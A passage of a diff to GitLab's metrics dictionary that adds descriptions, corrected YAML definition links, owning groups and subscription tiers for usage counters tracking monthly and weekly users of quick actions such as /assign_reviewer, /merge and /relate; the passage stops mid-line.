@@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_reviewer_monthly` -Missing description +Count of MAU using the `/assign_reviewer` or `request_reviewer` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_reviewer_weekly` -Missing description +Count of WAU using the `/assign_reviewer` or `request_reviewer` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_self_monthly` -Missing description +Count of MAU using the `/assign me` quick action to assign self to an issuable [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml) @@ -11262,23 +11826,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_self_weekly` -Missing description +Count of WAU using the `/assign me` quick action to assign self to an issuable -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_single_monthly` -Missing description +Count of MAU using the `/assign @user1` quick action to assign a single individual to an issuable [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml) @@ -11286,23 +11850,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_assign_single_weekly` -Missing description +Count of WAU using the `/assign @user1` quick action to assign a single individual to an issuable -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_award_monthly` -Missing description +Count of MAU using the `/award` quick action to set an award emoji on an issuable [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml) @@ -11310,23 +11874,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_award_weekly` -Missing description +Count of WAU using the `/award` quick action to set an award emoji on an issuable -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_board_move_monthly` -Missing description +Count of MAU using the `/board_move` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml) @@ -11334,59 +11898,59 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_board_move_weekly` -Missing description +Count of WAU using the `/board_move` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_child_epic_monthly` -Missing description +Count of MAU using the `/child_epic` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_child_epic_weekly` -Missing description +Count of WAU using the `/child_epic` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181532_i_quickactions_child_epic_weekly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_clear_weight_monthly` -Missing description +Count of MAU using the `/clear_weight` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_clear_weight_weekly` -Missing description +Count of WAU using the `/clear_weight` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181536_i_quickactions_clear_weight_weekly.yml) @@ -11394,11 +11958,11 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_clone_monthly` -Missing description +Count of MAU using the `/clone` quick action to clone an issue. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml) @@ -11406,23 +11970,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_clone_weekly` -Missing description +Count of WAU using the `/clone` quick action to clone an issue. -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_close_monthly` -Missing description +Count of MAU using the `/close` quick action to close an issuable [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml) @@ -11430,23 +11994,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_close_weekly` -Missing description +Count of WAU using the `/close` quick action to close an issuable -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_confidential_monthly` -Missing description +Count of MAU using the `/confidential` quick action to set an issue as confidential [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml) @@ -11454,23 +12018,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_confidential_weekly` -Missing description +Count of WAU using the `/confidential` quick action to set an issue as confidential -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_monthly` -Missing description +Count of MAU using the `/copy_metadata` quick action on an issue [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml) @@ -11478,47 +12042,47 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_weekly` -Missing description +Count of WAU using the `/copy_metadata` quick action on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_monthly` -Missing description +Count of MAU using the `/copy_metadata` quick action on a Merge Request [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_weekly` -Missing description +Count of WAU using the `/copy_metadata` quick action on a Merge Request -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_create_merge_request_monthly` -Missing description +Count of MAU using the `/create_merge_request` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml) @@ -11526,23 +12090,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_create_merge_request_weekly` -Missing description +Count of WAU using the `/create_merge_request` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_done_monthly` -Missing description +Count of MAU using the `/done` quick action to mark a todo as done [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml) @@ -11550,47 +12114,47 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_done_weekly` -Missing description +Count of WAU using the `/done` quick action to mark a todo as done -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_draft_monthly` -Missing description +Count of MAU using the `/draft` quick action on a Merge Request [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_draft_weekly` -Missing description +Count of WAU using the `/draft` quick action on a Merge Request -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_due_monthly` -Missing description +Count of MAU using the `/due` quick action to change the due date on an issuable [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml) @@ -11598,23 +12162,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_due_weekly` -Missing description +Count of WAU using the `/due` quick action to change the due date on an issuable -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_duplicate_monthly` -Missing description +Count of MAU using the `/duplicate` quick action to mark an issue as a duplicate of another [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml) @@ -11622,35 +12186,35 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_duplicate_weekly` -Missing description +Count of WAU using the `/duplicate` quick action to mark an issue as a duplicate of another -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_epic_monthly` -Missing description +Count of MAU using the `/epic` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_epic_weekly` -Missing description +Count of WAU using the `/epic` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181617_i_quickactions_epic_weekly.yml) @@ -11658,11 +12222,11 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_estimate_monthly` -Missing description +Count of MAU using the `/estimate` quick action to set a time estimate on an issue [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml) @@ -11670,19 +12234,19 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_estimate_weekly` -Missing description +Count of WAU using the `/estimate` quick action to set a time estimate on an issue -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_invite_email_multiple_monthly` @@ -11692,7 +12256,7 @@ Unique users using the /invite_email quick action to add a multiple email partic Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -11716,7 +12280,7 @@ Unique users using the /invite_email quick action to add a single email particip Group: `group::product planning` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -11734,19 +12298,19 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_iteration_monthly` -Missing description +Count of MAU using the `/iteration` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_iteration_weekly` -Missing description +Count of WAU using the `/iteration` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181624_i_quickactions_iteration_weekly.yml) @@ -11754,11 +12318,11 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_label_monthly` -Missing description +Count of MAU using the `/label` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml) @@ -11766,23 +12330,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_label_weekly` -Missing description +Count of WAU using the `/label` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_lock_monthly` -Missing description +Count of MAU using the `/lock` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml) @@ -11790,47 +12354,47 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_lock_weekly` -Missing description +Count of WAU using the `/lock` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_merge_monthly` -Missing description +Count of MAU using the `/merge` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_merge_weekly` -Missing description +Count of WAU using the `/merge` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_milestone_monthly` -Missing description +Count of MAU using the `/milestone` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml) @@ -11838,23 +12402,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_milestone_weekly` -Missing description +Count of WAU using the `/milestone` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_move_monthly` -Missing description +Count of MAU using the `/move` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml) @@ -11862,59 +12426,59 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_move_weekly` -Missing description +Count of WAU using the `/move` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_parent_epic_monthly` -Missing description +Count of MAU using the `/parent_epic` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_parent_epic_weekly` -Missing description +Count of WAU using the `/parent_epic` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181646_i_quickactions_parent_epic_weekly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_promote_monthly` -Missing description +Count of MAU using the `/promote` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_promote_weekly` -Missing description +Count of WAU using the `/promote` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181650_i_quickactions_promote_weekly.yml) @@ -11922,35 +12486,35 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_publish_monthly` -Missing description +Count of MAU using the `/publish` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml) -Group: `group::project management` +Group: `group::monitor` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_publish_weekly` -Missing description +Count of WAU using the `/publish` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181654_i_quickactions_publish_weekly.yml) -Group: `group::project management` +Group: `group::monitor` Status: `data_available` -Tiers: +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_reassign_monthly` -Missing description +Count of MAU using the `/reassign @user1` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml) @@ -11958,71 +12522,71 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_monthly` -Missing description +Count of MAU using the `/reassign_reviewer` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_weekly` -Missing description +Count of WAU using the `/reassign_reviewer` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_reassign_weekly` -Missing description +Count of WAU using the `/reassign @user1` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_rebase_monthly` -Missing description +Count of MAU using the `/rebase` quick action on a Merge Request [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_rebase_weekly` -Missing description +Count of WAU using the `/rebase` quick action on a Merge Request -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_relabel_monthly` -Missing description +Count of MAU using the `/relabel` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml) @@ -12030,23 +12594,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_relabel_weekly` -Missing description +Count of WAU using the `/relabel` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_relate_monthly` -Missing description +Count of MAU using the `/relate` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml) @@ -12054,47 +12618,47 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_relate_weekly` -Missing description +Count of WAU using the `/relate` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml) +[YAML 